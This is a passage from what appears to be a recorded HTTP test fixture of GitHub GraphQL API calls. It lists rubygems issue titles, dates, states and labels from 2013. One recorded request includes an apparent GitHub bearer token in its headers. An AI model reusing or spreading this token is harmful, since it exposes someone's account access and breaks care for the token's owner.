command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0wM1QxMzo1NjozMS0wNDowMM4A+TSH","node":{"number":585,"createdAt":"2013-07-03T17:56:31Z","closedAt":"2013-07-08T21:59:45Z","updatedAt":"2013-07-08T21:59:45Z","state":"CLOSED","title":"gem 2.0.3 Unable to download data from https://rubygems.org/ - ","url":"https://github.com/rubygems/rubygems/issues/585","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0wOVQwOTo0MTo1MS0wNDowMM4A/Cck","node":{"number":588,"createdAt":"2013-07-09T13:41:51Z","closedAt":"2013-07-09T21:22:57Z","updatedAt":"2013-07-09T23:05:41Z","state":"CLOSED","title":"java-platform gems not appearing in the dependencies API","url":"https://github.com/rubygems/rubygems/issues/588","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xMFQxMTowMDo1OC0wNDowMM4A/QWr","node":{"number":589,"createdAt":"2013-07-10T15:00:58Z","closedAt":"2013-07-10T21:56:34Z","updatedAt":"2013-07-10T22:46:03Z","state":"CLOSED","title":"temporary siteconf file deleted too early","url":"https://github.com/rubygems/rubygems/issues/589","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xMlQxOTowMjo0Ny0wNDowMM4A/uq3","node":{"number":592,"createdAt":"2013-07-12T23:02:47Z","closedAt":"2013-07-12T23:23:14Z","updatedAt":"2017-09-11T12:57:06Z","state":"CLOSED","title":"Support for full Semantic versioning","url":"https://github.com/rubygems/rubygems/issues/592","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xMlQyMDoyNToyOC0wNDowMM4A/vIQ","node":{"number":593,"createdAt":"2013-07-13T00:25:28Z","closedAt":"2013-07-16T00:44:35Z","updatedAt":"2013-07-16T00:44:35Z","state":"CLOSED","title":"gem list --no-installed does not work as expected","url":"https://github.com/rubygems/rubygems/issues/593","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xMlQyMjo1ODoyOS0wNDowMM4A/vlp","node":{"number":594,"createdAt":"2013-07-13T02:58:29Z","closedAt":"2013-07-19T21:22:40Z","updatedAt":"2013-07-21T13:51:59Z","state":"CLOSED","title":"2.0.4/2.0.5 empty DESTDIR breaks mingw native gem installs on 1.9.3p452 ","url":"https://github.com/rubygems/rubygems/issues/594","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xNlQwMzo0NDoxMC0wNDowMM4BAExl","node":{"number":597,"createdAt":"2013-07-16T07:44:10Z","closedAt":"2013-07-19T20:49:05Z","updatedAt":"2013-07-23T19:31:42Z","state":"CLOSED","title":"Thread issues with remote_fetcher.rb with stock version of Rubygems shipped with JRuby","url":"https://github.com/rubygems/rubygems/issues/597","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xNlQwNjoxNToyNS0wNDowMM4BAGIU","node":{"number":598,"createdAt":"2013-07-16T10:15:25Z","closedAt":"2013-07-16T16:21:46Z","updatedAt":"2013-07-16T16:21:46Z","state":"CLOSED","title":"Qrcode issue","url":"https://github.com/rubygems/rubygems/issues/598","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xN1QxNzowMzowNi0wNDowMM4BAbeu","node":{"number":599,"createdAt":"2013-07-17T21:03:06Z","closedAt":"2013-07-17T21:05:37Z","updatedAt":"2013-07-17T21:07:53Z","state":"CLOSED","title":"ruby-gems 2.0.5 breaks gem install rmagick on Windows","url":"https://github.com/rubygems/rubygems/issues/599","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0xOVQxNjoyMzozNC0wNDowMM4BA0Kr","node":{"number":601,"createdAt":"2013-07-19T20:23:34Z","closedAt":"2013-07-19T20:42:08Z","updatedAt":"2013-07-19T20:50:52Z","state":"CLOSED","title":"Installing gems with extensions always fails","url":"https://github.com/rubygems/rubygems/issues/601","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yMFQwMjoxNzowMS0wNDowMM4BA3ED","node":{"number":602,"createdAt":"2013-07-20T06:17:01Z","closedAt":"2013-07-22T21:49:40Z","updatedAt":"2013-07-23T01:22:40Z","state":"CLOSED","title":"`gem owner` commands doesn''t work in rubygems-2.1.0.","url":"https://github.com/rubygems/rubygems/issues/602","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yMVQwNDo1MjozNS0wNDowMM4BA6bp","node":{"number":605,"createdAt":"2013-07-21T08:52:35Z","closedAt":"2013-07-21T12:58:14Z","updatedAt":"2013-07-21T12:58:14Z","state":"CLOSED","title":"Cannot gem push (HTTP Basic: Access Denied)","url":"https://github.com/rubygems/rubygems/issues/605","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yNVQxNDoyMzowMC0wNDowMM4BBtzy","node":{"number":606,"createdAt":"2013-07-25T18:23:00Z","closedAt":"2013-07-25T22:34:14Z","updatedAt":"2013-07-26T02:45:57Z","state":"CLOSED","title":"Master version of Rubygems does not work on JRuby","url":"https://github.com/rubygems/rubygems/issues/606","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yNlQxNjo1MzoyNS0wNDowMM4BB7tE","node":{"number":607,"createdAt":"2013-07-26T20:53:25Z","closedAt":"2013-07-30T00:20:08Z","updatedAt":"2013-07-30T00:20:08Z","state":"CLOSED","title":"Installer#build_extensions method is not thread safe","url":"https://github.com/rubygems/rubygems/issues/607","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yN1QyMjo0MTozNy0wNDowMM4BCBMS","node":{"number":608,"createdAt":"2013-07-28T02:41:37Z","closedAt":"2013-07-28T02:52:04Z","updatedAt":"2013-07-28T19:47:14Z","state":"CLOSED","title":"How do I run code after gem installation?","url":"https://github.com/rubygems/rubygems/issues/608","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0yOFQwODoyODo1MS0wNDowMM4BCCa2","node":{"number":609,"createdAt":"2013-07-28T12:28:51Z","closedAt":"2013-08-02T20:39:01Z","updatedAt":"2013-08-02T20:39:01Z","state":"CLOSED","title":"TestGemExtBuilder#test_class_make fails on x64-mswin64","url":"https://github.com/rubygems/rubygems/issues/609","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wNy0zMVQwNzo1ODo0MC0wNDowMM4BCjp7","node":{"number":610,"createdAt":"2013-07-31T11:58:40Z","closedAt":"2013-09-16T22:40:57Z","updatedAt":"2016-01-01T21:25:09Z","state":"CLOSED","title":"https_proxy environment is not honoured","url":"https://github.com/rubygems/rubygems/issues/610","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0wM1QwOTozMzowMS0wNDowMM4BDHr7","node":{"number":613,"createdAt":"2013-08-03T13:33:01Z","closedAt":"2013-08-03T18:28:07Z","updatedAt":"2013-08-03T18:29:01Z","state":"CLOSED","title":"cannot install rails 4.0 .. infinte loop","url":"https://github.com/rubygems/rubygems/issues/613","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0wM1QyMTozNDowNC0wNDowMM4BDJjM","node":{"number":614,"createdAt":"2013-08-04T01:34:04Z","closedAt":"2013-08-05T23:32:49Z","updatedAt":"2013-08-06T00:53:05Z","state":"CLOSED","title":"Problem installing Rails on RVM - Rubyforge timing out","url":"https://github.com/rubygems/rubygems/issues/614","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0wNFQxNToxNzozMi0wNDowMM4BDLum","node":{"number":616,"createdAt":"2013-08-04T19:17:32Z","closedAt":"2013-08-06T02:29:35Z","updatedAt":"2013-08-06T19:27:13Z","state":"CLOSED","title":"2.1.rc installs remote gems even when passed an absolute path to a local .gem file","url":"https://github.com/rubygems/rubygems/issues/616","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0wOFQyMzo1Mzo1OC0wNDowMM4BEE7f","node":{"number":618,"createdAt":"2013-08-09T03:53:58Z","closedAt":"2013-08-15T19:20:35Z","updatedAt":"2013-08-15T19:20:35Z","state":"CLOSED","title":"2.0.6: install ignores --prefix for docs","url":"https://github.com/rubygems/rubygems/issues/618","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0xMlQxOTozODoyOS0wNDowMM4BEjuw","node":{"number":619,"createdAt":"2013-08-12T23:38:29Z","closedAt":"2013-09-16T23:54:44Z","updatedAt":"2016-01-01T21:24:59Z","state":"CLOSED","title":"Allow calling gem pristine --extensions without --all","url":"https://github.com/rubygems/rubygems/issues/619","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0xNVQxNTo0Nzo0MS0wNDowMM4BFItB","node":{"number":621,"createdAt":"2013-08-15T19:47:41Z","closedAt":"2013-08-15T20:04:59Z","updatedAt":"2013-08-15T20:04:59Z","state":"CLOSED","title":"Specification#loaded_from changed to Specification#filename by stub changes","url":"https://github.com/rubygems/rubygems/issues/621","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yMVQxODozODoyNC0wNDowMM4BGIgL","node":{"number":623,"createdAt":"2013-08-21T22:38:24Z","closedAt":"2013-09-16T23:29:37Z","updatedAt":"2013-09-16T23:29:37Z","state":"CLOSED","title":"building a gem when the output .gem exists and is included in the gemspec''s files results in Gem::Package::TarWriter::FileOverflow","url":"https://github.com/rubygems/rubygems/issues/623","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yN1QwODo1NDozNy0wNDowMM4BG+Nc","node":{"number":624,"createdAt":"2013-08-27T12:54:37Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"[RFE] install/build dependency","url":"https://github.com/rubygems/rubygems/issues/624","labels":{"nodes":[{"name":"category: gem spec"},{"name":"category: install"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yOFQxNDozNzo0MC0wNDowMM4BHSSW","node":{"number":626,"createdAt":"2013-08-28T18:37:40Z","closedAt":"2013-09-09T23:43:49Z","updatedAt":"2013-09-09T23:43:49Z","state":"CLOSED","title":"Not safe regexp for gems version validate ","url":"https://github.com/rubygems/rubygems/issues/626","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yOFQxODo1Nzo1Ni0wNDowMM4BHV5g","node":{"number":627,"createdAt":"2013-08-28T22:57:56Z","closedAt":"2013-10-14T20:43:04Z","updatedAt":"2013-10-14T20:43:04Z","state":"CLOSED","title":"gem push results in \"No Stairway, denied!\"","url":"https://github.com/rubygems/rubygems/issues/627","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yOVQwNTo1ODo1Ni0wNDowMM4BHavj","node":{"number":628,"createdAt":"2013-08-29T09:58:56Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"Platform specific dependencies","url":"https://github.com/rubygems/rubygems/issues/628","labels":{"nodes":[{"name":"category: other"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOC0yOVQxNjo0NjozOC0wNDowMM4BHjKJ","node":{"number":629,"createdAt":"2013-08-29T20:46:38Z","closedAt":"2013-08-29T22:11:49Z","updatedAt":"2013-08-29T22:26:43Z","state":"CLOSED","title":"Why does \"gem push ...\" fail?","url":"https://github.com/rubygems/rubygems/issues/629","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wMVQxNzoxNDoxMS0wNDowMM4BH4Rv","node":{"number":630,"createdAt":"2013-09-01T21:14:11Z","closedAt":"2013-09-01T21:19:06Z","updatedAt":"2014-08-23T15:50:04Z","state":"CLOSED","title":"Installing devkit on jruby 1.7.4 fails","url":"https://github.com/rubygems/rubygems/issues/630","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wMlQwMDo0NTo1NC0wNDowMM4BH5tT","node":{"number":631,"createdAt":"2013-09-02T04:45:54Z","closedAt":"2013-09-16T23:05:06Z","updatedAt":"2013-09-16T23:05:06Z","state":"CLOSED","title":"2.0.3: gems with directory names in data.tar.gz fail to install","url":"https://github.com/rubygems/rubygems/issues/631","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wM1QxNzozMjoyMC0wNDowMM4BIQCQ","node":{"number":633,"createdAt":"2013-09-03T21:32:20Z","closedAt":"2016-01-03T21:45:32Z","updatedAt":"2016-01-03T21:45:32Z","state":"CLOSED","title":"Using rubygems 1.8.25 with ruby-2.0.0p247, installed gems are unusable.","url":"https://github.com/rubygems/rubygems/issues/633","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wNFQwNToyMTowNS0wNDowMM4BIVMQ","node":{"number":634,"createdAt":"2013-09-04T09:21:05Z","closedAt":"2013-09-06T23:25:23Z","updatedAt":"2013-09-06T23:25:23Z","state":"CLOSED","title":"404 urls in online documentation","url":"https://github.com/rubygems/rubygems/issues/634","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wNVQxNzoyMDoyMC0wNDowMM4BIxF6","node":{"number":635,"createdAt":"2013-09-05T21:20:20Z","closedAt":"2013-09-06T22:27:12Z","updatedAt":"2013-09-10T20:26:31Z","state":"CLOSED","title":"2.1.rc.2 fails to install platform gems","url":"https://github.com/rubygems/rubygems/issues/635","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0wOFQwODozOToxNi0wNDowMM4BJFx2","node":{"number":636,"createdAt":"2013-09-08T12:39:16Z","closedAt":"2013-09-09T01:34:20Z","updatedAt":"2013-09-09T01:34:20Z","state":"CLOSED","title":"2.1.0 RC2 cannot install any prereleases","url":"https://github.com/rubygems/rubygems/issues/636","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMFQwNjowNjoxNy0wNDowMM4BJbuS","node":{"number":638,"createdAt":"2013-09-10T10:06:17Z","closedAt":"2013-09-10T20:55:55Z","updatedAt":"2013-09-10T23:07:13Z","state":"CLOSED","title":"2.1.0 installing java gem on MRI","url":"https://github.com/rubygems/rubygems/issues/638","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMFQwNjo0ODo0Ny0wNDowMM4BJcJo","node":{"number":639,"createdAt":"2013-09-10T10:48:47Z","closedAt":"2013-09-10T20:25:05Z","updatedAt":"2013-09-11T06:32:51Z","state":"CLOSED","title":"v2.1.0 installs windows version to joyent smartos(solaris)","url":"https://github.com/rubygems/rubygems/issues/639","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMFQxNzozOToxOS0wNDowMM4BJkqi","node":{"number":640,"createdAt":"2013-09-10T21:39:19Z","closedAt":"2013-09-10T23:18:30Z","updatedAt":"2014-02-20T11:42:41Z","state":"CLOSED","title":"Monitor prevents concurrent requires regardless of whether they come from gems","url":"https://github.com/rubygems/rubygems/issues/640","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMFQyMzoxMjozOC0wNDowMM4BJnQK","node":{"number":641,"createdAt":"2013-09-11T03:12:38Z","closedAt":"2013-09-11T03:14:15Z","updatedAt":"2013-09-11T03:59:48Z","state":"CLOSED","title":"documentation in rubygems-update-2.0.8.gem seems broken","url":"https://github.com/rubygems/rubygems/issues/641","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMVQwNTo1NzoyMS0wNDowMM4BJqIz","node":{"number":642,"createdAt":"2013-09-11T09:57:21Z","closedAt":"2013-09-11T20:43:39Z","updatedAt":"2014-03-08T11:17:48Z","state":"CLOSED","title":"`gem install --user-install` with native extension has the wrong gem_dir","url":"https://github.com/rubygems/rubygems/issues/642","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMVQxNjozNToyMy0wNDowMM4BJy6C","node":{"number":643,"createdAt":"2013-09-11T20:35:23Z","closedAt":"2013-09-11T20:57:28Z","updatedAt":"2013-09-11T20:57:53Z","state":"CLOSED","title":"gem fetch with -v gets the wrong version","url":"https://github.com/rubygems/rubygems/issues/643","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMlQxNDo0MzoxNy0wNDowMM4BKBz3","node":{"number":644,"createdAt":"2013-09-12T18:43:17Z","closedAt":"2013-09-12T22:53:55Z","updatedAt":"2013-09-14T00:58:59Z","state":"CLOSED","title":"mail_view gem not installing correctly with rubygems 2.1.2","url":"https://github.com/rubygems/rubygems/issues/644","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMlQxNDo0NDozMi0wNDowMM4BKB1H","node":{"number":645,"createdAt":"2013-09-12T18:44:32Z","closedAt":"2013-09-12T22:07:35Z","updatedAt":"2013-09-12T22:24:54Z","state":"CLOSED","title":"Some gems install empty folder with 2.1.x","url":"https://github.com/rubygems/rubygems/issues/645","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMlQxNzoyMDowNi0wNDowMM4BKENW","node":{"number":646,"createdAt":"2013-09-12T21:20:06Z","closedAt":"2013-09-12T22:07:05Z","updatedAt":"2013-09-12T22:23:36Z","state":"CLOSED","title":"gem install jasmine-core with rubygems 2.1.2 results in an empty directory","url":"https://github.com/rubygems/rubygems/issues/646","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xMlQyMjoyNzoxMi0wNDowMM4BKG+T","node":{"number":647,"createdAt":"2013-09-13T02:27:12Z","closedAt":"2013-09-17T01:00:40Z","updatedAt":"2013-09-17T01:00:40Z","state":"CLOSED","title":"update --system reports bug fixes only from previous versions","url":"https://github.com/rubygems/rubygems/issues/647","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xM1QxMToyMjo1OC0wNDowMM4BKOts","node":{"number":648,"createdAt":"2013-09-13T15:22:58Z","closedAt":"2013-09-13T15:38:56Z","updatedAt":"2013-09-13T16:47:43Z","state":"CLOSED","title":"Can''t connect to https://rubygems.org from Amazon EC2","url":"https://github.com/rubygems/rubygems/issues/648","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xNlQxNToyODoxNi0wNDowMM4BKqUY","node":{"number":650,"createdAt":"2013-09-16T19:28:16Z","closedAt":"2013-09-17T00:38:36Z","updatedAt":"2013-09-17T19:04:30Z","state":"CLOSED","title":"Different functionality when Uninstalling gems with --all in 2.1.3","url":"https://github.com/rubygems/rubygems/issues/650","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xN1QwMToyOToxMC0wNDowMM4BKwMI","node":{"number":651,"createdAt":"2013-09-17T05:29:10Z","closedAt":"2013-10-07T23:04:54Z","updatedAt":"2013-10-07T23:04:54Z","state":"CLOSED","title":"missing rubygems v2.0.9 release","url":"https://github.com/rubygems/rubygems/issues/651","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xN1QwMjo0OTozOC0wNDowMM4BKwpp","node":{"number":652,"createdAt":"2013-09-17T06:49:38Z","closedAt":"2013-09-17T19:04:30Z","updatedAt":"2013-09-17T20:02:11Z","state":"CLOSED","title":"broken `uninstall -a`","url":"https://github.com/rubygems/rubygems/issues/652","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xN1QwODo1NTo0NC0wNDowMM4BK0MC","node":{"number":653,"createdAt":"2013-09-17T12:55:44Z","closedAt":"2013-09-17T19:57:40Z","updatedAt":"2013-09-18T06:33:19Z","state":"CLOSED","title":"gem uninstall command for user gems","url":"https://github.com/rubygems/rubygems/issues/653","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0xOFQwMzo1NzozMi0wNDowMM4BLBbH","node":{"number":654,"createdAt":"2013-09-18T07:57:32Z","closedAt":"2013-10-08T00:11:08Z","updatedAt":"2013-10-08T00:11:08Z","state":"CLOSED","title":"Redundant certificates","url":"https://github.com/rubygems/rubygems/issues/654","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yNFQwNzoxNjozMC0wNDowMM4BMLqD","node":{"number":656,"createdAt":"2013-09-24T11:16:30Z","closedAt":"2013-10-09T01:02:27Z","updatedAt":"2016-01-01T21:24:59Z","state":"CLOSED","title":"\"WARNING: licenses is empty\" - improve feedback","url":"https://github.com/rubygems/rubygems/issues/656","labels":{"nodes":[{"name":"category: other"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:25 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yNFQwNzoxNjozMC0wNDowMM4BMLqD\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:25 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4980' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.450133' X-Github-Request-Id: - C65A:4D94:4F03C2:B30C4A:5A50E489 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yNFQxMjozMDoyMy0wNDowMM4BMQSo","node":{"number":657,"createdAt":"2013-09-24T16:30:23Z","closedAt":"2013-10-10T23:15:37Z","updatedAt":"2013-10-10T23:16:14Z","state":"CLOSED","title":"\"gem update\" performance improve proposal","url":"https://github.com/rubygems/rubygems/issues/657","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yNVQxMjoxOTo1Mi0wNDowMM4BMfwB","node":{"number":658,"createdAt":"2013-09-25T16:19:52Z","closedAt":"2013-09-25T16:22:11Z","updatedAt":"2013-09-25T16:22:11Z","state":"CLOSED","title":"failed compile with atomic-1.1.14.gem","url":"https://github.com/rubygems/rubygems/issues/658","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yOVQwMjoxNzowNC0wNDowMM4BNJqr","node":{"number":659,"createdAt":"2013-09-29T06:17:04Z","closedAt":"2013-10-02T21:03:41Z","updatedAt":"2013-10-02T21:03:41Z","state":"CLOSED","title":"RubyGems incorrectly sets \"#!/usr/bin/env ruby2.0\" for rake executable","url":"https://github.com/rubygems/rubygems/issues/659","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0yOVQwNDo1NDo1OS0wNDowMM4BNKA2","node":{"number":660,"createdAt":"2013-09-29T08:54:59Z","closedAt":"2013-09-29T09:34:50Z","updatedAt":"2016-01-01T21:24:59Z","state":"CLOSED","title":"gemhome set in $HOME/.gemrc is not work in irb or ruby code","url":"https://github.com/rubygems/rubygems/issues/660","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0zMFQwMDozNjo1OS0wNDowMM4BNOPr","node":{"number":661,"createdAt":"2013-09-30T04:36:59Z","closedAt":"2013-10-10T21:46:31Z","updatedAt":"2015-01-19T21:13:54Z","state":"CLOSED","title":"On ruby 2.0.0, `gem generate_index` puts the default gems in the index","url":"https://github.com/rubygems/rubygems/issues/661","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0zMFQxMjozNTowMS0wNDowMM4BNV3r","node":{"number":662,"createdAt":"2013-09-30T16:35:01Z","closedAt":"2014-05-09T08:31:24Z","updatedAt":"2014-05-09T08:31:24Z","state":"CLOSED","title":"Need documentation on default gem logic","url":"https://github.com/rubygems/rubygems/issues/662","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wOS0zMFQxNzozODowNi0wNDowMM4BNaua","node":{"number":664,"createdAt":"2013-09-30T21:38:06Z","closedAt":"2013-10-10T21:29:41Z","updatedAt":"2013-10-10T21:29:41Z","state":"CLOSED","title":"Cannot install platform specific gem from local file on windows","url":"https://github.com/rubygems/rubygems/issues/664","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wMVQyMzozNToyOC0wNDowMM4BNtyk","node":{"number":665,"createdAt":"2013-10-02T03:35:28Z","closedAt":"2013-10-08T00:11:08Z","updatedAt":"2016-11-29T01:55:41Z","state":"CLOSED","title":"https://rubygems.org/ - SSL_connect B: certificate verify failed","url":"https://github.com/rubygems/rubygems/issues/665","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wMlQxNzo1OToxMC0wNDowMM4BN6kj","node":{"number":666,"createdAt":"2013-10-02T21:59:10Z","closedAt":"2013-10-02T22:04:41Z","updatedAt":"2013-10-02T22:04:41Z","state":"CLOSED","title":"405 Not Allowed on pushing to rubygems","url":"https://github.com/rubygems/rubygems/issues/666","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wNFQwODo1OTo0Ny0wNDowMM4BORo+","node":{"number":668,"createdAt":"2013-10-04T12:59:47Z","closedAt":"2013-10-11T22:38:05Z","updatedAt":"2013-10-12T01:05:49Z","state":"CLOSED","title":"Proxy user and password can''t include `@`","url":"https://github.com/rubygems/rubygems/issues/668","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0xMC0wNFQyMTo0Mjo1MS0wNDowMM4BObDu","node":{"number":671,"createdAt":"2013-10-05T01:42:51Z","closedAt":"2013-10-08T00:05:29Z","updatedAt":"2013-10-08T23:03:17Z","state":"CLOSED","title":"[2.1.5] common cmds misbehaving on Windows","url":"https://github.com/rubygems/rubygems/issues/671","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug 